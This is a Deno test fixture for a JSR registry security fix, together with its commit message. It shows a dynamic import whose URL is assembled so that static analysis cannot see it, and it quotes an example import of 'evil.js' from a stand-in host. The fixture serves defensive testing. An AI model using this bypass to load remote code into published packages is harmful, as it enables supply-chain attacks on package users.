denoland-deno/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts

function nonAnalyzableUrl() {
  return "http://localhost:4545/" + "welcome.ts";
}

await import(nonAnalyzableUrl());
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623) A security feature of JSR is that it is self contained other than npm dependencies. At publish time, the registry rejects packages that write code like this: ```ts const data = await import("https://example.com/evil.js"); ``` However, this can be trivially bypassed by writing code that the registry cannot statically analyze for. This PR prevents Deno from loading dynamic imports that do this. 2024-02-28 16:30:45 -05:00			`function nonAnalyzableUrl() {`
			`return "http://localhost:4545/" + "welcome.ts";`
			`}`

			`await import(nonAnalyzableUrl());`